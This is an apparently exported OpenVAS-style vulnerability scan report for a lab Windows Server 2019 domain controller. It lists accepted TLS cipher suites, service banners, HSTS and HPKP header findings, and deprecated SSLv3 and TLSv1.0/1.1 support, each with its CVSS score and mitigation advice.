		SSL/TLS: Report Supported Cipher Suites		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3389/tcp		nvt		SSL/TLS: Report Supported Cipher Suites		SSL and TLS		0				2014-03-06T11:50:28Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine reports all SSL/TLS cipher suites accepted by a

  service.



  As the VT 'SSL/TLS: Check Supported Cipher Suites' (OID: 1.3.6.1.4.1.25623.1.0.900234) might run

  into a timeout the actual reporting of all accepted cipher suites takes place in this VT instead.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.802067		2022-02-18T09:01:14Z		Log		0		98				No 'Strong' cipher suites accepted by this service via the TLSv1.0 protocol.



'Medium' cipher suites accepted by this service via the TLSv1.0 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



No 'Weak' cipher suites accepted by this service via the TLSv1.0 protocol.



No 'Null' cipher suites accepted by this service via the TLSv1.0 protocol.



No 'Anonymous' cipher suites accepted by this service via the TLSv1.0 protocol.



No 'Strong' cipher suites accepted by this service via the TLSv1.1 protocol.



'Medium' cipher suites accepted by this service via the TLSv1.1 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



No 'Weak' cipher suites accepted by this service via the TLSv1.1 protocol.



No 'Null' cipher suites accepted by this service via the TLSv1.1 protocol.



No 'Anonymous' cipher suites accepted by this service via the TLSv1.1 protocol.



No 'Strong' cipher suites accepted by this service via the TLSv1.2 protocol.



'Medium' cipher suites accepted by this service via the TLSv1.2 protocol:



TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA256

TLS_RSA_WITH_AES_128_GCM_SHA256

TLS_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA256

TLS_RSA_WITH_AES_256_GCM_SHA384



No 'Weak' cipher suites accepted by this service via the TLSv1.2 protocol.



No 'Null' cipher suites accepted by this service via the TLSv1.2 protocol.



No 'Anonymous' cipher suites accepted by this service via the TLSv1.2 protocol.		Log		0		bf0a592d-0f98-43d3-9b9d-9a1eaafb62cd

		SSL/TLS: Report Medium Cipher Suites		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3389/tcp		nvt		SSL/TLS: Report Medium Cipher Suites		SSL and TLS		0				2012-03-07T08:44:14Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine reports all Medium SSL/TLS cipher suites accepted

  by a service.|insight=Any cipher suite considered to be secure for only the next 10

  years is considered as medium.|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.902816		2021-12-01T13:10:37Z		Log		0		98				'Medium' cipher suites accepted by this service via the TLSv1.0 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



'Medium' cipher suites accepted by this service via the TLSv1.1 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



'Medium' cipher suites accepted by this service via the TLSv1.2 protocol:



TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA256

TLS_RSA_WITH_AES_128_GCM_SHA256

TLS_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA256

TLS_RSA_WITH_AES_256_GCM_SHA384		Log		0		d49bb990-2b58-43b8-a940-1cce0476bc31

		SSL/TLS: Report Perfect Forward Secrecy (PFS) Cipher Suites		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3389/tcp		nvt		SSL/TLS: Report Perfect Forward Secrecy (PFS) Cipher Suites		SSL and TLS		0				2014-05-06T13:16:10Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine reports all SSL/TLS cipher suites accepted by a

  service which are supporting Perfect Forward Secrecy (PFS).|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.105018		2021-12-09T13:40:52Z		Log		0		98				Cipher suites supporting Perfect Forward Secrecy (PFS) are accepted by this service via the TLSv1.0 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA



Cipher suites supporting Perfect Forward Secrecy (PFS) are accepted by this service via the TLSv1.1 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA



Cipher suites supporting Perfect Forward Secrecy (PFS) are accepted by this service via the TLSv1.2 protocol:



TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384		Log		0		ff12e78e-c09b-42a0-85a7-14dfc20ff764

		SSL/TLS: Report Non Weak Cipher Suites		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3389/tcp		nvt		SSL/TLS: Report Non Weak Cipher Suites		SSL and TLS		0				2012-03-01T16:16:10Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine reports all Non Weak SSL/TLS cipher suites

  accepted by a service.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.103441		2021-12-01T09:24:41Z		Log		0		98				'Non Weak' cipher suites accepted by this service via the TLSv1.0 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



'Non Weak' cipher suites accepted by this service via the TLSv1.1 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



'Non Weak' cipher suites accepted by this service via the TLSv1.2 protocol:



TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA256

TLS_RSA_WITH_AES_128_GCM_SHA256

TLS_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA256

TLS_RSA_WITH_AES_256_GCM_SHA384		Log		0		9eb450f0-58d4-4341-90c2-ad8ed0c9fcf7

		LDAP Detection		admin		2022-07-26T17:26:00Z				2022-07-26T17:26:00Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		389/tcp		nvt		LDAP Detection		Service detection		0				2009-03-27T11:39:47Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=A LDAP Server is running at this host.



  The Lightweight Directory Access Protocol, or LDAP is an application

  protocol for querying and modifying directory services running over

  TCP/IP.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.100082		2020-11-10T15:30:28Z		Log		0		80				The LDAP Server supports LDAPv3.		Log		0		d408eb88-b653-4f48-a319-efcb86c055ed

		SSL/TLS: Report Non Weak Cipher Suites		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: Report Non Weak Cipher Suites		SSL and TLS		0				2012-03-01T16:16:10Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine reports all Non Weak SSL/TLS cipher suites

  accepted by a service.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.103441		2021-12-01T09:24:41Z		Log		0		98				'Non Weak' cipher suites accepted by this service via the SSLv3 protocol:



TLS_RSA_WITH_3DES_EDE_CBC_SHA



'Non Weak' cipher suites accepted by this service via the TLSv1.0 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



'Non Weak' cipher suites accepted by this service via the TLSv1.1 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



'Non Weak' cipher suites accepted by this service via the TLSv1.2 protocol:



TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA256

TLS_RSA_WITH_AES_128_GCM_SHA256

TLS_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA256

TLS_RSA_WITH_AES_256_GCM_SHA384		Log		0		49425b41-c2b4-4f14-8279-65e48c979000

		HTTP Server Banner Enumeration		admin		2022-07-26T18:58:32Z				2022-07-26T18:58:32Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		HTTP Server Banner Enumeration		Service detection		0				2020-02-04T08:19:51Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This script tries to detect / enumerate different HTTP server banner (e.g. from a

  frontend, backend or proxy server) by sending various different HTTP requests (valid and invalid ones).|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.108708		2021-01-11T11:29:35Z		Log		0		80				It was possible to enumerate the following HTTP server banner(s):



Server banner                 | Enumeration technique

---------------------------------------------------------------------------

Server: Microsoft-HTTPAPI/2.0 | Valid HTTP 0.9 GET request to '/index.html'

Server: Microsoft-IIS/10.0    | Valid HTTP 1.0 GET request to '/index.htm'		Log		0		87ab0a6d-d569-46a6-8627-ad6853956d4a

		HTTP Server type and version		admin		2022-07-26T18:58:42Z				2022-07-26T18:58:42Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		HTTP Server type and version		Service detection		0				2005-11-03T13:08:04Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This script detects and reports the HTTP Server's banner

  which might provide the type and version of it.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.10107		2020-08-24T15:18:35Z		Log		0		80				The remote HTTP Server banner is:



Server: Microsoft-IIS/10.0		Log		0		081cf697-6e82-47be-9991-2f7c53525ca5

		SSL/TLS: HTTP Strict Transport Security (HSTS) Detection		admin		2022-07-26T19:02:57Z				2022-07-26T19:02:57Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: HTTP Strict Transport Security (HSTS) Detection		SSL and TLS		0				2016-08-22T11:07:41Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Checks if the remote web server has HSTS enabled.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.105876		2021-01-26T13:20:44Z		Log		0		80				The remote web server is sending the "HTTP Strict-Transport-Security" header.



HSTS-Header:



Strict-Transport-Security: max-age=21000; includeSubDomains		Log		0		c4de42c4-e5fe-483d-82c8-f1e245f7cdb7		url		https://owasp.org/www-project-secure-headers/		url		https://owasp.org/www-project-cheat-sheets/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html		url		https://owasp.org/www-project-secure-headers/#http-strict-transport-security-hsts		url		https://tools.ietf.org/html/rfc6797		url		https://securityheaders.io/

		SSL/TLS: Check for `max-age` Attribute in HSTS Header		admin		2022-07-26T19:02:57Z				2022-07-26T19:02:57Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: Check for `max-age` Attribute in HSTS Header		SSL and TLS		0				2017-10-10T11:07:41Z		0		AV:N/AC:M/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:M/Au:N/C:N/I:N/A:N|summary=The remote web server is using a too low value within the 'max-age' attribute in the HSTS header.|insight=|affected=|impact=|solution=The minimum value to get added to the HSTS preload lists of Google Chrome is 18 weeks (10886400 seconds).

  The value should aim towards 6 months (15768000 seconds) but heavily depends on your deployment scenario.|vuldetect=|solution_type=Workaround		Workaround		The minimum value to get added to the HSTS preload lists of Google Chrome is 18 weeks (10886400 seconds).

  The value should aim towards 6 months (15768000 seconds) but heavily depends on your deployment scenario.		1.3.6.1.4.1.25623.1.0.108251		2021-01-26T13:20:44Z		Log		0		80				The remote web server is using a value of "21000" within the "max-age" attribute in the HSTS header. This value is below the configured / minimal recommended value of "10886400".



HSTS Header:



Strict-Transport-Security: max-age=21000; includeSubDomains		Log		0		a8730d3b-1804-4b99-a0f0-7384668332d2		url		https://owasp.org/www-project-secure-headers/		url		https://owasp.org/www-project-cheat-sheets/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html		url		https://owasp.org/www-project-secure-headers/#http-strict-transport-security-hsts		url		https://tools.ietf.org/html/rfc6797		url		https://securityheaders.io/

		SSL/TLS: Deprecated SSLv2 and SSLv3 Protocol Detection		admin		2022-07-26T19:02:57Z				2022-07-26T19:02:57Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: Deprecated SSLv2 and SSLv3 Protocol Detection		SSL and TLS		5.9		NVD		2018-11-30T21:31:00Z		5.9		CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N		cvss_base_v3		5.9		cvss_base_vector=CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N|summary=It was possible to detect the usage of the deprecated SSLv2

  and/or SSLv3 protocol on this system.|insight=The SSLv2 and SSLv3 protocols contain known cryptographic

  flaws like:



  - CVE-2014-3566: Padding Oracle On Downgraded Legacy Encryption (POODLE)



  - CVE-2016-0800: Decrypting RSA with Obsolete and Weakened eNcryption (DROWN)|affected=All services providing an encrypted communication using the

  SSLv2 and/or SSLv3 protocols.|impact=An attacker might be able to use the known cryptographic flaws to

  eavesdrop the connection between clients and the service to get access to sensitive data

  transferred within the secured connection.



  Furthermore newly uncovered vulnerabilities in this protocols won't receive security updates

  anymore.|solution=It is recommended to disable the deprecated SSLv2 and/or SSLv3

  protocols in favor of the TLSv1.2+ protocols. Please see the references for more information.|vuldetect=Check the used SSL protocols of the services provided by this

  system.|solution_type=Mitigation		Mitigation		It is recommended to disable the deprecated SSLv2 and/or SSLv3
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		SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection		admin		2022-07-26T19:02:57Z				2022-07-26T19:02:57Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection		SSL and TLS		4.3				2021-03-25T10:41:42Z		4.3		AV:N/AC:M/Au:N/C:P/I:N/A:N		cvss_base_v2		4.3		cvss_base_vector=AV:N/AC:M/Au:N/C:P/I:N/A:N|summary=It was possible to detect the usage of the deprecated TLSv1.0

  and/or TLSv1.1 protocol on this system.|insight=The TLSv1.0 and TLSv1.1 protocols contain known cryptographic

  flaws like:



  - CVE-2011-3389: Browser Exploit Against SSL/TLS (BEAST)



  - CVE-2015-0204: Factoring Attack on RSA-EXPORT Keys Padding Oracle On Downgraded Legacy

  Encryption (FREAK)|affected=All services providing an encrypted communication using the

  TLSv1.0 and/or TLSv1.1 protocols.|impact=An attacker might be able to use the known cryptographic flaws

  to eavesdrop the connection between clients and the service to get access to sensitive data

  transferred within the secured connection.



  Furthermore newly uncovered vulnerabilities in this protocols won't receive security updates

  anymore.|solution=It is recommended to disable the deprecated TLSv1.0 and/or

  TLSv1.1 protocols in favor of the TLSv1.2+ protocols. Please see the references for more

  information.|vuldetect=Check the used TLS protocols of the services provided by this

  system.|solution_type=Mitigation		Mitigation		It is recommended to disable the deprecated TLSv1.0 and/or

  TLSv1.1 protocols in favor of the TLSv1.2+ protocols. Please see the references for more
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		SSL/TLS: HTTP Public Key Pinning (HPKP) Missing		admin		2022-07-26T19:02:57Z				2022-07-26T19:02:57Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: HTTP Public Key Pinning (HPKP) Missing		SSL and TLS		0				2017-10-09T06:07:41Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=The remote web server is not enforcing HPKP.



  Note: Most major browsers have dropped / deprecated support for this header in 2020.|insight=|affected=|impact=|solution=Enable HPKP or add / configure the required directives correctly following the

  guides linked in the references.



  Note: Some web servers are not sending headers on specific status codes by default. Please review your web server

  or application configuration to always send these headers on every response independently from the status code.



  - Apache: Use 'Header always set' instead of 'Header set'.



  - nginx: Append the 'always' keyword to each 'add_header' directive.



  For different applications or web severs please refer to the related documentation for a similar configuration possibility.|vuldetect=|solution_type=Workaround		Workaround		Enable HPKP or add / configure the required directives correctly following the

  guides linked in the references.



  Note: Some web servers are not sending headers on specific status codes by default. Please review your web server

  or application configuration to always send these headers on every response independently from the status code.



  - Apache: Use 'Header always set' instead of 'Header set'.



  - nginx: Append the 'always' keyword to each 'add_header' directive.



  For different applications or web severs please refer to the related documentation for a similar configuration possibility.		1.3.6.1.4.1.25623.1.0.108247		2021-01-26T13:20:44Z		Log		0		80				The remote web server is not enforcing HPKP.



HTTP-Banner:



HTTP/1.1 200 OK

Content-Type: text/html

Last-Modified: ***replaced***

Accept-Ranges: bytes

ETag: "***replaced***"

Server: Microsoft-IIS/10.0

Strict-Transport-Security: max-age=21000; includeSubDomains

Date: ***replaced***

Connection: close

Content-Length: ***replaced***		Log		0		bc3ce882-d2ae-42d3-8cd2-cde2fcab5025		url		https://owasp.org/www-project-secure-headers/		url		https://owasp.org/www-project-secure-headers/#public-key-pinning-extension-for-http-hpkp		url		https://tools.ietf.org/html/rfc7469		url		https://securityheaders.io/		url		https://httpd.apache.org/docs/current/mod/mod_headers.html#header		url		https://nginx.org/en/docs/http/ngx_http_headers_module.html#add_header

		SSL/TLS: Report Perfect Forward Secrecy (PFS) Cipher Suites		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: Report Perfect Forward Secrecy (PFS) Cipher Suites		SSL and TLS		0				2014-05-06T13:16:10Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine reports all SSL/TLS cipher suites accepted by a

  service which are supporting Perfect Forward Secrecy (PFS).|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.105018		2021-12-09T13:40:52Z		Log		0		98				Cipher suites supporting Perfect Forward Secrecy (PFS) are accepted by this service via the TLSv1.0 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA



Cipher suites supporting Perfect Forward Secrecy (PFS) are accepted by this service via the TLSv1.1 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA



Cipher suites supporting Perfect Forward Secrecy (PFS) are accepted by this service via the TLSv1.2 protocol:



TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384		Log		0		1aad492f-c18c-4594-8cac-16f9a0545187

		Services		admin		2022-07-26T17:21:19Z				2022-07-26T17:21:19Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		Services		Service detection		0				2011-01-14T09:12:23Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine attempts to guess which service is running on the

  remote ports. For instance, it searches for a web server which could listen on another port than

  80 or 443 and makes this information available for other check routines.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.10330		2021-03-15T10:42:03Z		Log		0		80				A TLScustom server answered on this port		Log		0		acfc9711-8542-4e78-8e25-6a950a292a63

		Services		admin		2022-07-26T17:21:19Z				2022-07-26T17:21:19Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		Services		Service detection		0				2011-01-14T09:12:23Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine attempts to guess which service is running on the

  remote ports. For instance, it searches for a web server which could listen on another port than

  80 or 443 and makes this information available for other check routines.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.10330		2021-03-15T10:42:03Z		Log		0		80				A web server is running on this port through SSL		Log		0		e50c27d4-ac91-4ebc-a522-77663b3e956a

		SSL/TLS: Version Detection		admin		2022-07-26T17:26:55Z				2022-07-26T17:26:55Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: Version Detection		SSL and TLS		0				2016-06-29T08:54:20Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Enumeration and reporting of SSL/TLS protocol versions supported

  by a remote service.|insight=|affected=|impact=|solution=|vuldetect=Sends multiple connection requests to the remote service and

  attempts to determine the SSL/TLS protocol versions supported by the service from the replies.



  Note: The supported SSL/TLS protocol versions included in the report of this VT are reported

  independently from the allowed / supported SSL/TLS ciphers.|solution_type=						1.3.6.1.4.1.25623.1.0.105782		2021-12-06T15:42:24Z		Log		0		80				The remote SSL/TLS service supports the following SSL/TLS protocol version(s):



SSLv3

TLSv1.0

TLSv1.1

TLSv1.2		Log		0		afd89252-15cf-4be9-ade1-03535aa7aa4d

